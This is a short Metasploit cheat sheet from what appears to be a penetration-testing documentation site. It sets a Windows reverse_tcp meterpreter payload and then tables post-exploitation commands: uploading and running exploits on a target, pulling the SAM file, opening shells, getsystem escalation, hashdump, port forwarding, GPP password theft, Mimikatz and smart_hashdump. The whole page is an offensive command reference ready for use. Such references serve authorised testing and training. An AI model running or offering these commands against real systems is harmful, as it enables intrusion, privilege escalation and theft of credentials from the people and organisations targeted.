> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/tools/metasploit.md).

# Metasploit

Windows reverse meterpreter payload&#x20;

`set payload windows/meterpreter/reverse_tcp`&#x20;

## Useful meterpreter commands.&#x20;

| Command                                   | Description                                                            |
| ----------------------------------------- | ---------------------------------------------------------------------- |
| upload file c:\\\windows                  | Meterpreter upload file to Windows target                              |
| download c:\\\windows\\\repair\\\sam /tmp | Meterpreter download file from Windows target                          |
| download c:\\\windows\\\repair\\\sam /tmp | Meterpreter download file from Windows target                          |
| execute -f c:\\\windows\temp\exploit.exe  | Meterpreter run .exe on target - handy for executing uploaded exploits |
| execute -f cmd -c                         | Creates new channel with cmd shell                                     |
| ps                                        | Meterpreter show processes                                             |
| shell                                     | Meterpreter get shell on the target                                    |
| getsystem                                 | Meterpreter attempts priviledge escalation the target                  |
| hashdump                                  | Meterpreter attempts to dump the hashes on the target                  |
| portfwd add –l 3389 –p 3389 –r target     | Meterpreter create port forward to target machine                      |
| portfwd delete –l 3389 –p 3389 –r target  | Meterpreter delete port forward                                        |

## Post Exploit Windows Metasploit Modules&#x20;

Windows Metasploit Modules for privilege escalation.&#x20;

| Command                                            | Description                                                                        |
| -------------------------------------------------- | ---------------------------------------------------------------------------------- |
| run post/windows/gather/win\_privs                 | Metasploit show privileges of current user                                         |
| use post/windows/gather/credentials/gpp            | Metasploit grab GPP saved passwords                                                |
| load mimikatz -> wdigest                           | Metasploit load Mimikatz                                                           |
| run post/windows/gather/local\_admin\_search\_enum | Identify other machines that the supplied domain user has administrative access to |
| run post/windows/gather/smart\_hashdump            | dump credentials                                                                   |
